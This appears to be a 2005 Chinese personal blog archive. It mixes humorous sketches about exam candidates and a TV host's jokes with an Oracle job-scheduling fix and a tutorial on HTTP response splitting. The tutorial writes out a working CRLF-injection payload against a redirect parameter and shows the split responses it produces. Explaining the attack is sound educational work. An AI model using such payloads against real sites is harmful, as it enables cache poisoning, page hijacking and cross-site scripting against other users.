2005年03月31日

镜头一:

  寒冷的自习室里,一女生斜倚在桌上,裹了裹身上的棉袄,慵懒的合上面前那本厚厚的政治考研书,对坐在前面正在做题的男友说:

  我不行了,这真的是最后一次了。我们把书卖了,就别再考了。我想过正常人的生活。

  男友回头看看她,点燃一支烟,沉默了一下,说:我看你是考前焦虑症!净说TM胡话!

  女生听罢,狠狠的踹了男友的座位一脚,趴在了桌子上。

  那男生叹了一口气,不再说话,继续埋首于如山的考研书堆中。

  镜头二:

  一对农村的中年夫妇,为了全力支持正在复习考研的儿子,做好他生活上的后勤工作,不辞劳苦的带足所有的积蓄,来到儿子考研的城市并蜗居了下来。老俩口一边摆个小摊挣钱,一边给与全力备考的儿子无微不至的照顾。一天,久未开口的儿子突然从书堆中探出头来,说话了。

  儿:妈,俺今年多大了?

  母:你问这干啥?

  儿:俺就想知道。

  母:你二十三岁考的,在这考了五年,应该二十八了吧?

  母:你问这干啥?

  儿:没啥。

  儿:妈,你给俺存了多少钱?

  母:你问这干啥?

  儿:俺就想知道。

  中年妇人朝着屋外喊了一声:他爹!

  干啥?一中年男人走了过来。

  母:咱傻根存多少钱?

  父:五六万吧。

  母:五还是六?

  父:六!

  儿:给俺提出来吧。

  母:干啥?

  儿:俺想回老家盖房,娶媳妇。

  母:好好好!

  母:考完研,妈带你回去,给你相个媳妇。

  镜头三:

  图书馆里,黎同学正孜孜演算道前所未遇的线代难题。任凭如何抓耳挠腮,仍是没有一点眉目。而坐在他对面复习的一对考研情侣,早已把老陈的书作过三遍。

  黎某狞笑着,自语道:哼哼,我现在倒是有兴趣,验验这对鸳鸯的成色!于是,嘻皮笑脸的拿着题目就凑了过去。

  不想这对情侣的确功底深厚,三下五除二就摆平了这道难题。

  黎某在晕厥倒地前,不由得感慨出:二十一世纪什么最贵?人才!

  某一次对话:

  考生甲:大哥,这五十块钱你拿去,给俺大姐买书!

  考生乙:你干什么,你不考研了?

  甲:俺算了算,上辅导班要三百。买两本数学,再加一本英语,要一百。打探专业课消息送礼,一百。剩下一百,买几套模拟试卷,还有预定《二十天二十题》。

  乙:不是都没了?

  甲:俺寻思,模拟题俺先不买了。

  考生乙落泪……

  (注:大姐——考生乙之女友,同样为考研人士。)

  镜头四:

  考研成绩出来前的那晚,俺做了个梦——

  我正在一路边小店,风卷残云般的吞食着爱吃的煎饼卷大葱。突然,一个模糊的身影夺门而入,径直向我这里走来。待其走到我跟前时,我看到了他的胸前上书四个大字:考研
判 官!

  我哽咽了一下。

  他先开口了:看见我特倒胃口吧?

  我不说话。

  他继续:别等了,成绩都已经下来了!

  等我吃完你再说。,我回应。

  再过一阵子,又该有人考研了,他说,他们跟你的吃相一样,生怕脑袋里的营养不够。

  我心扑扑乱跳,不知他在暗示什么。

  今年二十八了吧?过几年你也该当爹了。等你娃养大了,别瞒着他,他爸爸几年考研都没中,跟他实话实说,不丢人。

  ……

2005年03月25日

因为要同步优化oracle text index,因此就写一个同步优化的job, 如下:

declare
  job number;
begin
  dbms_job.submit(job=>job,
                    what=>’ctx_ddl.sync_index(‘’s_Index”);’,
                    next_date=>sysdate,
                    interval=>’SYSDATE+1/48′);
  commit;
  dbms_output.put_line(‘job ‘||job||’ has been submitted.’);
  dbms_job.submit(job=>job,
                    what=>’ctx_ddl.optimize_index(‘’s_Index”, ”FULL”);’,
                    next_date=>sysdate,
                    interval=>’SYSDATE+1/12′);
  commit;
  dbms_output.put_line(‘job ‘||job||’ has been submitted.’);
end;
/

可发现run时老是出现一下错误:

ERROR at line 1:
ORA-12011: execution of 1 jobs failed
ORA-06512: at “SYS.DBMS_IJOB”, line 406
ORA-06512: at “SYS.DBMS_JOB”, line 272
ORA-06512: at line 1

问题是这些ctx_ddl.sync_index 及 ‘ctx_ddl.optimize_index 在sqlplus里运行都没问题。于是拼命网上网下查资料,发现oracle的资料里面有这么一段话:

To use this script, you must be the index owner and you must have executeprivileges on the CTX_DDL package. You must also set the job_queue_processes parameter in your Oracle initialization file.

于是怀疑是要给job的owner显式的赋权限,即:

sql> grant execute on  ctx_ddl to <owner>;

可结果大失所望,还是同样的错误。

两天后,终于在网上看到这样一条信息:

this is a bug..infact it was happening in 8i and oracle said they will try to fix in 9i. u have to call the procedure in the ur job and embed the sync index in ur procedure. here is a snippet.u can try this way.

于是赶紧试验,修改如下:

–sync
create or replace procedure synchronize_index
is
begin
   ctx_ddl.sync_index(’s_Index’);
end synchronize_index;
/

–optimize
create or replace procedure optimize_index
is
begin
   ctx_ddl.optimize_index(’s_Index’, ‘FULL’);
end optimize_index;
/

declare
  job number;
begin
  dbms_job.submit(job=>job,
                    what=>’synchronize_index;’,
                    next_date=>sysdate,
                    interval=>’SYSDATE+1/48′);
  commit;
  dbms_output.put_line(‘job ‘||job||’ has been submitted.’);
  dbms_job.submit(job=>job,
                    what=>’optimize_index;’,
                    next_date=>sysdate,
                    interval=>’SYSDATE+1/12′);
  commit;
  dbms_output.put_line(‘job ‘||job||’ has been submitted.’);
end;
/

结果果然如他说的一样。

天哪,老毛说不要搞个人崇拜,看来我们也不能太相信oracle,没想到还有这种bug!!!!



2005年03月21日

背景知识

HTTP协议中3xx族响应表示客户端需要执行进一步的动作来完成上一次的请求,比如根据返回的响应头内容,向一个新的url发送请求。在该系列响应中,301、302都用来表示请求的内容已被移至另一地址,区别是前者表示该改变是永久性的,客户端以后都应该用新地址来请求内容,而后者则表示该变化是暂时的,只适用于此次请求。

当HTTP返回301、302响应时,要求把被请求内容的新地址包含在Location响应头里,同时,如果客户端是通过GET、POST等方法请求内容的,还要求返回的信息体包含一个简单的html,该html中也要有该新地址的超连接。

下面是一个典型的302响应:

HTTP/1.1 302 Moved Temporarily
Server: Netscape-Enterprise/6.0
Date: Mon, 21 Mar 2005 05:37:07 GMT
Location: https://second.url.com/Foobar
Content-Type: text/html; charset=8859_1
Set-Cookie: JSESSIONID=C2dxo3EI19u1wXw7FAZT8geKiJgM2l4kYVJFs4P0YQVWpQQJsPts!359922971!-1447695079!8001!8002; path=/
Connection: close  

<html DIR=”LTR”>
<head>
    <title>Main View</title>
</head>
<body bgcolor=#FFFFFF text=#000000 link=#000066 alink=#FF0000 vlink=#660066>
<font face=”Verdana” size=”2″>
<table CELLSPACING=’0′ CELLPADDING=’10′ BORDER=’0′ WIDTH=’100%’ HEIGHT=’75%’>  <tr>
    <td valign=”top” width=”100%” > <font class=”ModuleSectionTitleStyle”>fsredirect</font>
    </td>  
</tr>
  <tr>
    <td valign=”top” width=”100%”><html><head><title>302 Moved Temporarily</title></head> <body bgcolor=”#FFFFFF”> <p>This document you requested has moved temporarily.</p> <p>It’s now at <a href=”https://second.url.com/Foobar?”>https://second.url.com/Foobar?</a>.</p> </body></html>     </td>
  </tr>
</table>


302响应经常被被服务端用作重定向机制,在Java中,著名的sendRedirect()方法就是利用302响应来实现重定向的。


HTTP RESPONSE SPLIT

Http response split基于一下HTTP的两个基本特性(漏洞):
    1.    HTTP消息分成头和体两部分,而消息中的第一个空行被作为头的结束和体的开始;
    2.    302响应的Location头需要包含新的目标地址;

从这两点和容易让我们想到,如果Location头自身包含空行,会出现什么情况! 这就是http response split.

我们先来看一下正常的情况。先看下面这段JSP代码:

<%
response.sendRedirect(“/by_lang.jsp?lang=”+ request.getParameter(“lang”));
%>

我们假设这段代码包含在/redir_lang.jsp中,那么我们请求/redir_lang.jsp?lang=English会得到一下响应(Weblogic8.1下):

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwB
E!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor=”#FFFFFF”>
<p>This document you requested has moved temporarily.</p>
<p>It’s now at <a
href=”http://10.1.1.1/by_lang.jsp?lang=English”>http://10.1.1.
1/by_lang.jsp?lang=English</a>.</p>
</body></html>

现在,我们如果发送一下请求(注: %0d%0a是换行回车的urlencoding):

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>


这次得到的结果将是:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9Us
S!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor=”#FFFFFF”>
<p>This document you requested has moved temporarily.</p>
<p>It’s now at <a
href=”http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
&lt;html&gt;Shazam&lt;/html&gt;”>http://10.1.1.1/by_lang.jsp?l
ang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
&lt;html&gt;Shazam&lt;/html&gt;</a>.</p>
</body></html>

这段响应将被客户端(比如浏览器,cache服务器)解释为:
    1.    红色部分是第一个http响应,这是一个没有响应体的302响应;
    2.    蓝色部分是第二个http响应,这是一个正常的200响应,它的消息体包含了19个字节;
    3.    剩下的部分超出了content-length指定的长度,不符合协议,被丢弃。

这样,如果攻击者连续发出两个请求,分别是:

    /redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>


    /index.html

那么客户端会认为第一个请求的响应是:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

而第二个请求的响应是:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>


到这里,攻击者已经成功的实现了欺骗。利用这种欺骗,可以实现各种攻击,比如:
    1.    Cross-Site Scripting(XSS)
    2.    Web Cache Poisoning(defacement): 通过HTTP RESPONSE SPLIT攻击者可以控制CACHE服务器里的某个页面缓存,从而达到修改页面,盗取信息等目的。
    3.    Cross User Attacks
    4.    Hijacking pages with user-specific infomation
    5.    Browser cache poisoning

    




2005年03月17日

等地铁


小蔡有一次去一位女同事家作客,这位同事向他抱怨:我们家房子什么都好,可就是建在地铁正上方,每天地铁经过时连床都跟着震,好像地震一样。小蔡不信,就要躺在床上试试看。正巧那女同事的丈夫回来了,小蔡连忙解释:信不信由你,我在等地铁。


厨师证


刚刚在门口,碰到一人,问我要不要办证?办证?从小到大我还真不缺什么证。这哥们儿抬头一看,哟,您是刘仪伟?我说对对对,就是我。他还挺能转弯:那您需要个厨师证吗?


护舒宝刘仪伟


刚开始讨论这个节目的时候,我们制作人曾经有个想法,他说反正是刘仪伟主持这个节目,不如把他的名字也加到节目名字里,叫《刘仪伟夜谭》。这样大家好记,也显示我们以人为本的思想。刚开始我觉得,哟,这好啊,这是种荣誉啊。直到有一天我去了一趟节目组,广告部正在和客户洽谈节目的冠名权,我一听到那两个客户的产品名字,把我吓坏了。要按他们的意思,以后开场白极有可能得这么说:大家好,欢迎大家来到《南极人刘仪伟夜谭》,这个还凑合。还有一个得这么说:大家好,欢迎大家来到《护舒宝刘仪伟夜谭》,我这就算完了。广告部的同事看我面色不好,心情沉重,说那不如换一个外国客户,就避免中文产生的这样或那样的意思。后来他们说了,他们争取去搞定全球最著名的企业来给节目冠名,我一听,什么叫外国话就没有歧义啊,这完全是胡说八道啊。大家听这开场白:大家好,欢迎来到《微软刘仪伟夜谭》。我的天,还不如前头那两个呢。


小蔡如厕


随着我们节目的不断播出,小蔡呢,因为他那种很奇异的,和常人不一样的思维、行为,经常被我们拿到节目里来说事儿,渐渐地,这个形象也就被很多的观众朋友记住了。昨天晚上录完节目,我们节目组全体同事去饭店吃饭。中途,小蔡去厕所方便了一下,回来后发现他裤腿儿那里湿了一片,就问怎么回事儿。小蔡说:唉,别提了,自打《东方夜谭》播出以后,经常遇到这种情况,在厕所方便时,旁边那个人会突然转过身来——哟,你不是《东方夜谭》那个小蔡吗?你普通话得练练了……


同姓恋


早两天去我姐姐家,小外甥女见我就问:舅舅舅舅,为什么你访问刘孜会结巴?我说我没结巴啊。她说:我知道为什么,因为你喜欢她。你看,这简直太冤枉我了。孩子还不依不饶:舅舅,你不能喜欢刘孜。我说是啊,我没喜欢她,我有老婆了。你知道她来了一句什么话:你们俩都姓刘,你喜欢她就是同姓恋。咳,她还自己发明创造了一个词。


白痴


有人问我:白痴这个词是什么意思,这个在下实在不好妄下断言。来录节目之前我无意中听到胖胖和小蔡的几句对话,或许有助于各位对这个词的理解。


胖胖和小蔡玩儿游戏,打赌,赌什么呢,猜胖胖身上有多少钱。只听见胖胖说:小蔡,你只要猜出我口袋里现在有多少钱,我就把90块钱全部都给你。小蔡一听,乐坏了,说:那我试一下,我猜……你身上有70块钱。


半块香皂

有位上海观众来信说他想呼吁相关部门授予某家餐厅卫生先进单位称号,的确,现在能在菜里吃出半块香皂的餐厅真的不多了。


如果挤得下


我们的主编,胖胖同学早几天过生日。我说怎么为人这么不靠谱呢,原来是双鱼座的。节目组要给他定做一个蛋糕,小蔡去蛋糕店。服务员就问他:先生,蛋糕上面留什么字啊?小蔡说了:祝胖胖生日快乐。服务员又问:还需要留点儿别的吗?小蔡想了一下说:祝他早日进入公司高层吧,如果挤得下的话。小蔡是担心蛋糕上写不下那么多字啊。吹蜡烛的时候终于来到了,大家满怀欣喜地打开小蔡定来的蛋糕,一看上头密密麻麻地写着:祝胖胖生日快乐,祝你早日进入公司高层!如果挤得下的话。


结婚证

小蔡:您好,我想预约明天去办结婚证。

刘仪伟:好的,婚前检查你们做过了吗?


小蔡:查过了,她爸是开公司的,家里有房有车。

刘仪伟:嗨,我是说去医院检查!


小蔡:呃……(犹豫,不好意思)也查过了,是男孩儿。

刘仪伟:什么乱七八糟的!小蔡,拜托你下回当托儿的时候专业一点行不行。


代沟

代沟现象越来越厉害。一位母亲对女儿非常生气:这就是现代的年轻人!16岁就交上了男朋友,却忘记了自己母亲32岁的生日。


害羞


最近一项针对北京、上海、广州三市当地居民的随机抽样电话调查表明,上海人比较害羞。不是吗?我就知道在咱们上海,有个女儿问妈妈:爸爸从前害羞吗?妈妈说:要是他不害羞,你现在至少大四岁!


月光下

在很久很久以前,在一个美丽的月光下,有个女生依偎在小蔡的怀中。


女生情意绵绵地问:小蔡,在这么美好的月光下,你现在在想些什么呢?

小蔡想了想,脸涨得通红,害羞地说:其实,我跟你想得一样。


啪!只听见一声清脆的耳光声在夜色中荡漾开来。

之后听见女孩子在说:小蔡!下流!无耻!不理你了!

停电


早几天晚上,节目组开全组大会。突然,停电了。会又很重要,怎么办?买了一大捆蜡烛接着开。开到一半,胖胖好像想起什么,就问了一句:今天,有谁过生日吗?感冒一听,赶紧举手:主编,我过生日我过生日。胖胖说:好,等一下咱们开完大会,你负责把所有蜡烛给吹灭。


生病


现在的孩子懂事都早,吴与同就是,有一天她妈妈病了,浑身没劲儿,躺在床上,说做不了饭了,吴与同一挽袖子,说:妈妈,我扶你去厨房!


女秘书

有资料显示,上海的秘书行业现在很不吃香,一个岗位竟然有68
 
   个人在抢,想当秘书不容易,特别是女秘书。也不知道为什么,和别的行业不一样,现在竟然没有老板愿意要有工作经验的女秘书。

老丈人


小蔡和女朋友认识没多久的时候,经常送女朋友回家。有一次到了家门口,女朋友提醒小蔡:你现在可以吻我,但是随后我得打你一个耳光,因为我爸爸正在窗口看着我们。之后过了一星期,深夜,小蔡又送女朋友回家,在门前难舍难分,深深拥吻。半小时后,女朋友他爸也就是他未来的老丈人打开窗口喝道:小子,放开我女儿!小蔡吓得不轻,但还是鼓起勇气分辩:伯父,我们是真心相爱的。他未来的老丈人怒气冲冲地说:你亲她就亲她吧,还压在我们家门铃上……


益智节目


前天我看一个益智节目,发生一件好玩儿的事儿。有一个选手好不容易冲过前面五关,来到最后一关,摆在他面前的是二十万现金,还有两道问题。主持人就问这个选手,两道题都要回答,你先选择哪一道?


(台下:第二道。)

第二道是吧?好,请听题。请问这件事情是哪一年发生的?!

接吻戏


做主持人,认识不少演艺圈的朋友,有空了也去他们拍片现场看看,我经常注意片场的临时演员。前不久去一个片场,导演正跟临时演员说话:待会儿有场吻戏,你演不演?那位临时演员特高兴:演演演,一定演。导演一回头:场工,把狗牵过来吧!


天的女婿


以前我们看《三国演义》的时候,曾经看到诸葛亮和别人斗嘴,讨论谁才是天的儿子。今天我们把这个问题重新提出来:天的儿子是谁?天的女儿是谁?天的女婿又是谁?在下的答案是这样的,天的儿子叫我材,因为天生我材。天的女儿叫丽质,因为俗话说,天生丽质。


(台下:那天的女婿呢?)

小蔡,不该你发言的时候不要乱发言。天的女婿你不知道?李连杰啊,因为他的老婆就是利智。


不在服务区


自从孙悟空三打白骨精之后,被唐僧遣送回原籍。话说有一天,唐僧在西行的路上又碰到了妖怪,面对两个无能的徒弟,唐僧痛心疾首,这才想起被他赶走的大徒弟孙悟空,他对着天空喊道:


(配音)悟空,快来救为师啊。(回音:啊啊啊啊)

四分之一柱香之后,传来这样一个声音:


(电信回音)您呼叫的用户不在服务区,嘟嘟嘟嘟……

生日礼物


上个月小蔡生日,全组集资给他买了份礼物。想给他个惊喜,所以我们把礼物装在一个大纸盒里。拿给小蔡的时候,盒子底下有点漏水,小蔡一看,就又开始逞能了:你们都别说,我能猜出来。说完伸手指头沾了点儿尝尝:五粮液!大伙都摇头,小蔡又尝了一口:那就是剑南春!大伙还摇头,这时候组里一个女孩儿急了:你们快把小狗拿出来吧,看这盒子……都让狗给尿湿了。


即席赋诗


要说小蔡这生日过的真风光,生日礼物除了小狗,还收到各种贺卡、小玩具、小文具,反正都是些温馨一派的小礼物,贵重礼物,一件都没有。没人肯为小蔡花钱啊,为人失败啊。还好,吃饭的时候,胖胖主编即席赋诗一首,算是安慰了小蔡受伤的幼小心灵。


诗全文如下:

大海啊,你全是水;

骏马啊,你四条腿;

爱情啊,是嘴对嘴;


小蔡啊,你普通话还不如刘仪伟。

女人腰围


节目播出一段时间,观众也反映,怎么什么坏事儿都是小蔡?说实话,小蔡这人挺不错的,还特别怕羞,交女朋友时间不短了,据说到现在连手都没拉过,是吧小蔡?


(台下:没错!)


和女朋友一起出去,还要人家给他制造机会:小蔡,听说男人胳膊的长度和女人腰围一样,你相信吗?一听这话,小蔡明白了:这简单,咱试试不得了,你等我会儿,我回家取尺子去!


小偷


前段时间晚上熬夜录节目,结果家里进了贼,我太太在家,听到有动静,也顾不上开灯,下床抄起扫帚就打,一边打还一边骂:让你回来这么晚,还不打电话,让你学严守一……哦,把小偷当成我了。这一通暴捶,揍得小偷是哭爹喊娘喊救命。邻居听着了,赶紧打110报警,没一会儿,警察来了,一见警察,小偷”哇”的放声大哭,扑上去就握住警察同志的手:谢谢人民警察的救命之恩呐。


小蔡拍戏


小蔡现在出名了。有人找小蔡去拍电视剧了!说得好听点儿叫拍戏,其实就是跑龙套。那天我去他们剧组看小蔡拍戏。刚好碰上拍一场小蔡挨一巴掌的戏,而且是被女主角打的。导演跟小蔡说,假打一下算了。小蔡说,不行,得真打!假打不够逼真。这场戏拍了八次才过,因为小蔡老是笑场。等他们拍完了我就对小蔡说,作为新人,敬业一点儿是好的,但是

不一定非要真打。小蔡说了,不管什么戏,一定真拍,不能蒙乎观众。我还以为小蔡觉悟变高了,后来一打听才知道,什么呀,关键是第二天还有一场吻戏!


修理皮鞋


昨天上班前,妻子对我说:你顺便拿我的皮鞋到你单位旁边的皮鞋店修理一下吧。我赶时间啊,拎起来就走。路上正好碰到邻居,他看着我,惊讶地说:刘仪伟,太过分了,为了不让老婆乱跑,这种手段你都能使出来?


水,水!


那天小蔡跟胖胖一起去喝酒,结果胖胖喝多了,回来倒头便睡。小蔡却睡不着,在一边玩儿电脑。胖胖睡了一会儿,突然坐起来囔囔地说:水,水!小蔡给胖胖倒了一碗水,胖胖接过来一饮而尽,然后在墙上胡乱抓了几把又睡了。又过了一段时间,胖胖又起来嚷嚷要喝水,小蔡又倒了一碗水,胖胖喝后又在墙上胡乱抓了一把。小蔡很奇怪胖胖这是怎么了?为什么老是抓墙啊?于是自己也倒了一碗水一饮而尽,不料,他也在墙上胡乱地抓了起来,嘴里骂道:我的天,怎么这么烫!


魂飞魄散

最近,李少红导演说她的新片《恋爱中的宝贝》是要表现魂飞魄散的爱情,我说小蔡怎么在电影院睡着了呢,原来是魂儿掉了。


不可能完成的任务

听说汤姆?克鲁斯还要再拍第三部《Mission
Impossible》(《不可能完成的任务》),我建议他扮演一位想参加奥运会的中国足球队员。

足球界


小蔡,我有件事情一直想不通,像你这样,又光想挣钱又怕累,水平又臭又不思进取,又喜欢声色犬马的娱乐,啊,像你这么一个特种人才,为什么你不去足球界混他个名堂出来呢?


小蔡:我去过,他们说我做得还不够!

开全


一家足球俱乐部在开全体大会时,队员们在底下自顾交谈,秩序混乱不堪。俱乐部领导只好大声说:谁再讲话,马上出去!无人理会。领导急了,又喊:谁再讲话,扣发工资!这一招也不大管用,只有少数人闭嘴。领导束手无策,最后只看见教练站起来,不慌不忙地说:呃!你们谁要是再讲话,今天晚上不带他去酒吧和夜总会!场内瞬间鸦雀无声。


拍风景


张艺谋和刘德华这两位大牌惺惺相惜,拍完《十面埋伏》以后,老谋子给刘德华一张照片,照片后面写了些夸刘德华的话,还说下一部见。刘德华礼尚往来,也还了一张,写着:与您合作是我的幸福。不过据说后边还有一句:下次多给我点儿戏吧,别老拍风景了。


情侣打架


现在不知道为什么,年轻人的火气都特别大。那天,我在街上看见一对情侣打架,那女孩儿抡胳膊抽男孩儿耳光,一点儿面子都不给男孩儿留,太狠了。不过,更狠的是那男孩儿,他竟然泼了女孩儿一脸水,把女孩儿妆给卸了。


作家萨达姆


美国法律顾问向媒体透露,被美军关押的萨达姆每天都笔耕不辍,并不时向美军看守人员要笔墨和纸张。原来,萨达姆一直是写小说的好手,被抓期间有了时间,当然要继续他的作家生涯。据称,萨达姆的第一本书《我把自由献给你》已经写完,他正在写第二本《我和布什不得不说的故事》,还有几本书也在计划中,它们是:《实话瞎说》、《是谁搞垮了伊拉克?》,还有本长篇自传体小说《玄奘西游我也西游》。


绕口令


第十五届台湾金曲奖上,王菲获得最佳国语女演唱人奖。王菲是这样说的:我会唱歌,这我知道,我对评委对我的肯定,表示肯定。王菲会唱歌,这我们也知道,所以我们对王菲对评委对王菲表示的肯定也表示肯定。嗨,成绕口令了。


暗恋

小蔡以前是暗恋他女朋友的,有一天,他终于鼓足勇气,向他女朋友表白:我喜欢你,你喜不喜欢我哪?


女孩儿很害羞,低着头说:你猜。

小蔡心花怒放,脱口而出:我猜你喜欢我!

女孩儿说:你再猜一次。


坚持这个立场多好,省得现在天天看见小蔡生气。

割发代首


最近贝克汉姆深陷绯闻旋涡,为了表示两人的感情还有戏,贝克汉姆把自己的金发剪下来,辣妹把小贝的金发编到自己的黑发里头。小蔡,这件事情用一个成语应该怎么形容?


小蔡:结发夫妻!

刘仪伟:不对,这叫割发代首!

二十 三十 四十

有一部电影,叫做《二十
三十四十》,说的是在这三个年龄段的女人的故事,挺有意思的。现实中我们也能发现,这三个年龄段的女人,对待婚姻有不同的看法,比方说,如果给这三个年龄段的女人介绍对象,二十岁的会问:他帅吗?三十岁的会问:他事业有成吗?四十岁的直接就会问:他在哪儿?


灯神


话说我们的曼曼和小蔡有一天碰到了一个灯神,灯神说它可以实现他们每人两个愿望,小蔡很高兴,心里盘算着第一个愿望是有一亿存款,第二个愿望是自己当主持人。但是出于礼貌,女士优先嘛,他还是让曼曼先说,于是曼曼对灯神说:昨天的《艺术人生》我没有看到,现在我就要看!于是,灯神就变了个电视机出来,放《艺术人生》,曼曼看着看着就哭上了,一哭就是大半天,没完没了,灯神着急了,问她:快说你第二个愿望吧!再不说朱军老师都该哭了。曼曼大怒:没看我正哭着呢嘛?别捣乱,赶紧走!噌,灯神走了,这下好,小蔡哭上了。


人造美女


中国首届人造美女大赛八月将在北京举行。组委会表示:要把人造美女与自然美女区别开来,这样比较公平!我觉得区别开来也简单,多设几个技术奖项,比如最佳缝合奖、最佳面部抛光奖,对了,还有最佳原材料奖。依照惯例,获奖者都要发表感言。我替最佳人造美女的获奖者虚拟了一封感谢词:没想到自己能获得最佳人造美女奖,我真是太激动了。感谢我的脸蛋百忙之中赶来参加比赛。感谢我的肚子,它也为这次比赛做出了巨大牺牲,我还要感谢我的双眼皮、我的酒窝、我的鼻子、我的眉毛……我的成功和它们的配合是分不开的,这个奖不单属于我个人,更属于我们这个集体。


刚出道


上海一家公司,评选了上海人心中最受欢迎的艺人,女性受访者心目中最受欢迎的艺人是苏有朋,她们说在她们心中,苏有朋永远和他刚出道时一样。刚出道的时候?怪不得男性受访者喜欢的是舒淇。


包月


梁朝伟过生日,开Party,女影迷无数,据说现场不少女影迷想抱他,梁朝伟开玩笑,说要花钱,还得有时间限制。抱一下一秒钟,一百块。结果底下马上有个影迷喊道:大家闪开,我包月。


珠项链


小蔡这个小气鬼,突然大方。给女朋友送了一条珍珠项链,上面有22颗珍珠。小蔡的女朋友非常高兴,问他:为什么项链上有22颗珍珠呢?小蔡回答:和你的年龄一样啊。女朋友当时就急了:你这个糊涂虫啊,你买之前为什么不问问我真实年龄啊?


小龙女


明星的影响力就是大,《神雕侠侣》剧组传出周迅有可能要演小龙女的消息以后,吸引了大量的男士也来应募演员,不知道为什么,他们不是想来演杨过,他们都想演尹志平。


坏事传千里


足球明星贝克汉姆在欧锦赛中踢飞点球的那只足球将被带入太空。消息传开之后出现了一个奇迹,贝克汉姆无师自通学会了一句中国成语,还整天念叨着:好事不出门,坏事传千里。


天下无贼


最近我发现一个奇怪的现象,现在很多男人都很不像话,他们公开宣称”天下无贼”,可是自己却偷偷地在外头”卧虎藏龙”,回到家以后经常遭遇老婆的”十面埋伏”,一旦被发现就成了”大事件”,最后的结果就是老婆出去”环游地球80天”,自己在家里”自娱自乐”。

2005年03月02日

>  主席和小平散步,小平问:租吸,四接桑最同库地丝洒子思青哩?
>
>  主席说:桑板。
>
>  小平又问:有更同库地拉?
>
>  主席沉吟半晌,深吸一口烟说:田田桑板